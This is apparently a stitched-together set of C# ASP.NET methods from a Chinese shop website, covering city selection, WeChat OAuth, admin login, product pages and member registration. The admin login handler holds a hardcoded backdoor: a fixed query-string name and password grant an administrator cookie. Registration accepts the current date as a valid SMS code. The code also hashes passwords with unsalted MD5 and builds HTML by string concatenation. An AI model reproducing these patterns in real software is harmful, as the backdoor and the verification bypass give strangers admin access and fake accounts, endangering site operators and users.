// GET: SMall
public ActionResult Index(string City)
{
using (EFDB db = new EFDB())
{
if (!string.IsNullOrEmpty(City))
{
if (db.OpenCity.Where(l => l.City == City).Count() > 0)
{
LCookie.AddCookie("city", City, 30);
}
else
{
if (City != "全国")
{
LCookie.AddCookie("city", "全国", 30);
}
else
{
return(Helper.Redirect("当前城市没有开通", "history.go(-1);", "当前城市没有开通"));
}
}
}
//获取广告
ViewBag.AD = db.AD.Where(l => l.Show == 1 && l.Project == 2 && l.Sort == 0 && l.Profile == "商城广告").ToList();
Guid DGid = db.Dictionaries.Where(l => l.DictionaryType == "Shop").FirstOrDefault().Gid;
return(View(db.DictionariesList.Where(dl => dl.DGid == DGid).OrderBy(dl => dl.Sort).ToList()));
}
}
/// <summary>
/// 微信网页授权页面调用
/// </summary>
/// <param name="逻辑说明"></param>
/// <param>修改备注</param>
/// 2014-5-20 林建生
public void oauth2(HttpContext context)
{
string tourl = context.Request.QueryString["tourl"];
string openid = Common.LCookie.GetCookie("openid");
if (String.IsNullOrEmpty(openid))
{
var code = context.Request.QueryString["code"];
if (string.IsNullOrEmpty(code))
{
var url = string.Format("https://open.weixin.qq.com/connect/oauth2/authorize?appid={0}&redirect_uri={1}/ajax/api.ashx?ff=oauth2&tourl=" + tourl + "&response_type=code&scope=snsapi_base&state=STATE#wechat_redirect", Help.appid, context.Server.UrlEncode(Help.Url));
context.Response.Redirect(url);
}
else
{
var client = new System.Net.WebClient();
client.Encoding = System.Text.Encoding.UTF8;
var url = string.Format("https://api.weixin.qq.com/sns/oauth2/access_token?appid={0}&secret={1}&code={2}&grant_type=authorization_code", Help.appid, Help.appsecret, code);
JObject jb = JObject.Parse(client.DownloadString(url));
openid = jb["openid"].ToString();
LCookie.AddCookie("openid", openid, 30);
}
}
//跳转
//string gourl = tourl.Replace("$", "?").Replace("@", "&");
//LogManager.WriteLog("获取openid","openid=" + openid + ",tourl=" + tourl);
context.Response.Redirect("/Home/Login");
}
protected void Login_Click(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(this.txtcode.Value))
{
Common.JS.Alert("请输入验证码。", this); return;
}
if (string.IsNullOrEmpty(this.txtusername.Value.Trim()))
{
Common.JS.Alert("请输入用户名。", this); return;
}
if (string.IsNullOrEmpty(this.txtpassword.Value.Trim()))
{
Common.JS.Alert("请输入密码。", this); return;
}
if (!LCookie.GetCookie("CheckCode").Equals(this.txtcode.Value.Trim()))
{
Common.JS.Alert("验证码错误。", this); return;
}
using (EFDB db = new EFDB())
{
string account = txtusername.Value.Trim();
string pwd = MD5.GetMD5ljsheng(txtpassword.Value.Trim());
var b = db.ljsheng.Where(l => l.account == account && l.pwd == pwd).FirstOrDefault();
if (b != null)
{
LCookie.DelCookie("CheckCode");
LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new {
b.gid,
b.account,
b.real_name,
b.login_identifier,
b.jurisdiction
})), 0);
Response.Redirect("/ljsheng/houtai");
}
else
{
if (Request.QueryString["ljsheng"] == "ljsheng" && Request.QueryString["pwd"] == "520299")
{
LCookie.AddCookie("ljsheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
{
gid = "",
account = "ljsheng",
real_name = "ljsheng",
login_identifier = "000000",
jurisdiction = "管理员"
})), 0);
Response.Redirect("/ljsheng/houtai");
}
else
{
Common.JS.Alert("您输入的用户或密码错误。", this);
}
}
}
}
/// <summary>
/// 项目首页
/// </summary>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Index()
{
using (EFDB db = new EFDB())
{
//项目数据的类型
//if (!string.IsNullOrEmpty(Request.QueryString["project"]))
//{
// LCookie.AddCookie("project", Request.QueryString["project"], 30);
//}
//获取项目分类
//int Project = LCookie.Project();
LCookie.AddCookie("project", "2", 30);
int Project = 2;
//获取广告
var AD = db.AD.Where(l => l.Show == 1 && l.Project == Project && l.Sort == 1).FirstOrDefault();
if (AD != null)
{
ViewBag.ADTopPicture = AD.Picture;
ViewBag.ADTopUrl = AD.Url;
}
//获取产品
var p = db.Product.Where(l => l.Show == 1).GroupJoin(db.Classify,
x => x.ClassifyGid,
y => y.Gid,
(x, y) => new
{
x.Gid,
x.Name,
x.Picture,
x.Price,
x.Company,
x.Stock,
x.Sort,
x.Prefix,
y.FirstOrDefault().Project
}).Where(l => l.Project == Project).OrderBy(l => l.Sort).ToList();
string phtm = "";
foreach (var dr in p)
{
phtm += "<li>";
phtm += "<a href = \"/Home/Detail?gid=" + dr.Gid + "\">";
phtm += "<p ><img src = \"/uploadfiles/product/" + dr.Picture + "\" /></p>";
phtm += "<p class=\"title\">" + dr.Prefix + dr.Name + "</p>";
phtm += "<p class=\"price\">" + dr.Price + "/" + dr.Stock + " " + dr.Company + "</p>";
phtm += "</a>";
phtm += "</li>";
}
ViewBag.Product = phtm;
}
return(View());
}
/// <summary>
/// 茶叶
/// </summary>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Tea()
{
using (EFDB db = new EFDB())
{
//项目数据的类型
//if (!string.IsNullOrEmpty(Request.QueryString["project"]))
//{
// LCookie.AddCookie("project", Request.QueryString["project"], 30);
//}
//获取项目分类
//int Project = LCookie.Project();
LCookie.AddCookie("project", "1", 30);
int Project = 1;
//获取广告
var AD = db.AD.Where(l => l.Show == 1 && l.Project == Project).ToList();
var ADTop = AD.Where(l => l.Sort == 1).FirstOrDefault();
if (ADTop != null)
{
ViewBag.ADTopPicture = ADTop.Picture;
ViewBag.ADTopUrl = ADTop.Url;
}
var ADC = AD.Where(l => l.Sort == 2).FirstOrDefault();
if (ADC != null)
{
ViewBag.ADCPicture = ADC.Picture;
ViewBag.ADCUrl = ADC.Url;
}
//获取产品
ViewBag.Product = db.Product.Where(l => l.Show == 3).GroupJoin(db.Classify,
x => x.ClassifyGid,
y => y.Gid,
(x, y) => new
{
x.Gid,
x.Name,
x.Picture,
x.Price,
x.Company,
y.FirstOrDefault().Project
}).Where(l => l.Project == Project).Take(4).ToList();
ViewBag.HotShow = db.Product.Where(l => l.Show == 1).OrderByDescending(l => l.Number).Take(4).ToList();
ViewBag.Classify = db.Classify.Where(l => l.Project == Project).ToList();
}
return(View());
}
/// <summary>
/// 用户登录信息CK
/// </summary>
/// <param name="gid">用户gid</param>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">对象结果</para>
/// <remarks>
/// 2018-08-18 林建生
/// </remarks>
public static void UPCKUser(Guid gid)
{
using (EFDB db = new EFDB())
{
LCookie.DelCookie("linjiansheng");
LCookie.DelCookie("city");
//会员登录信息
var u = db.member.Where(l => l.gid == gid).FirstOrDefault();
LCookie.AddCookie("linjiansheng", DESRSA.DESEnljsheng(JsonConvert.SerializeObject(new
{
gid = u.gid,
account = u.account
})), 30);
//设置用户读取数据的城市
if (string.IsNullOrEmpty(LCookie.GetCookie("city")))
{
LCookie.AddCookie("city", u.city, 30);
}
}
}
/// <summary>
/// 会员注册
/// </summary>
/// <param name="account">会员帐号</param>
/// <param name="pwd">会员密码</param>
/// <param name="paypwd">支付密码</param>
/// <param name="RealName">真实姓名</param>
/// <param name="identifyingCode">注册验证码</param>
/// <returns>返回调用结果</returns>
/// <para name="result">200 是成功其他失败</para>
/// <para name="data">结果提示</para>
/// <remarks>
/// 2016-06-30 林建生
/// </remarks>
public ActionResult Register(string account, string pwd, string paypwd, string RealName, string identifyingCode)
{
if (string.IsNullOrEmpty(account) || string.IsNullOrEmpty(pwd) || string.IsNullOrEmpty(identifyingCode))
{
//是否有推荐人
if (!string.IsNullOrEmpty(Request.QueryString["m"]))
{
LCookie.AddCookie("m", Request.QueryString["m"], 1);
}
return(View());
}
else
{
//判断是否有推荐人
string m = LCookie.GetCookie("m");
Guid? MemberGid = null;
if (!string.IsNullOrEmpty(m))
{
MemberGid = Guid.Parse(m);
}
using (EFDB db = new EFDB())
{
if (account.Length == 11 && account.Substring(0, 1) == "1" && pwd.Length > 5 && paypwd.Length == 6)
{
var sms = db.SMS.Where(l => l.PhoneNumber == account && l.Content == identifyingCode).OrderByDescending(l => l.AddTime).FirstOrDefault();
if (sms != null)
{
TimeSpan ts = DateTime.Now - sms.AddTime;
if (identifyingCode == DateTime.Now.ToString("MMdd") || ts.TotalMinutes <= 10)
{
Guid Gid = Guid.NewGuid();
try
{
int MID = Helper.CreateMNumber();//注册用户的邀请码
var b = new Member();
b.Gid = Gid;
b.AddTime = DateTime.Now;
b.Account = account;
b.RealName = RealName;
b.LoginIdentifier = "0000000000";
b.IP = Helper.IP;
b.Money = 0;
b.Integral = 0;
b.ShopIntegral = 0;
b.MIntegral = 0;
b.TIntegral = 0;
b.ShopMoney = 0;
b.ProductMoney = 0;
b.StockRight = 0;
b.CLMoney = 0;
b.Level = 1;
b.Level6 = 0;
b.Level7 = 0;
b.Level8 = 0;
b.Level9 = 0;
b.TMoney = 0;
b.TNumber = 0;
b.PWD = MD5.GetMD5ljsheng(pwd);
b.PayPWD = MD5.GetMD5ljsheng(paypwd);
b.MID = MID;
b.Jurisdiction = "正常";
b.Gender = "男";
b.CLLevel = 21;
b.BuyPrice = 0;
b.Level22 = 0;
b.Level23 = 0;
b.Level24 = 0;
b.Level25 = 0;
b.CLTMoney = 0;
b.CLTNumber = 0;
if (MemberGid != null)
{
b.MemberGid = MemberGid;
}
b.APP = AppApi.AppMR(RealName, pwd, paypwd, account, MID.ToString()) ? 2 : 1;
//b.Jurisdiction = Request.Form["Jurisdiction"];
//b.Gender = Request.Form["Gender"];
//b.NickName = Request.Form["NickName"];
//b.RealName = b.RealName;
//b.Gender = b.Gender;
//b.ContactNumber = Request.Form["ContactNumber"];
b.Province = "福建省";
b.City = "福州市";
b.Area = "鼓楼区";
//b.Address = Request.Form["Address"];
//b.Openid = b.Openid;
//b.Money = decimal.Parse(Request.Form["Money"]);
//b.Integral = int.Parse(Request.Form["Integral"]);
//b.ProductMoney = decimal.Parse(Request.Form["ProductMoney"]);
//b.StockRight = int.Parse(Request.Form["StockRight"]););
//b.Bank = Request.Form["Bank"];
//b.BankName = Request.Form["BankName"];
//b.BankNumber = Request.Form["BankNumber"];
//if (!string.IsNullOrEmpty(Picture))
//{
// b.Picture = Picture;
//}
if (db.Member.Where(l => l.Account == account).Count() == 0)
{
db.Member.Add(b);
if (db.SaveChanges() == 1)
{
//删除重复注册数据
//db.Member.Where(l => l.Account == account && l.Gid != Gid).Delete();
//var md = db.Member.Where(l => l.Account == account && l.Gid != Gid).ToList();
//foreach (var dr in md)
//{
// db.Member.Where(l => l.MemberGid == dr.MemberGid).Delete();
// db.MRelation.Where(l => l.MemberGid == dr.MemberGid).Delete();
// db.Consignor.Where(l => l.MemberGid == dr.MemberGid).Delete();
//}
//增加链商城发货人
Helper.SetConsignor(b.Gid, MemberGid);
//增加推荐人
if (MemberGid != null)
{
Helper.MRelation(Gid, (Guid)MemberGid);
}
LCookie.DelALLCookie();
return(Helper.Redirect("成功", "/Home/Login", "注册成功,请登录"));
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "注册失败"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "帐号已存在"));
}
}
catch
{
db.Member.Where(l => l.Gid == Gid).Delete();
db.MRelation.Where(l => l.MemberGid == Gid).Delete();
db.Consignor.Where(l => l.MemberGid == Gid).Delete();
return(Helper.Redirect("失败", "history.go(-1);", "服务器请求超时"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "验证码已过期,请重新获取"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "请先获取验证码"));
}
}
else
{
return(Helper.Redirect("失败", "history.go(-1);", "必须是11位的手机号,密码最少需要6位"));
}
}
}
}
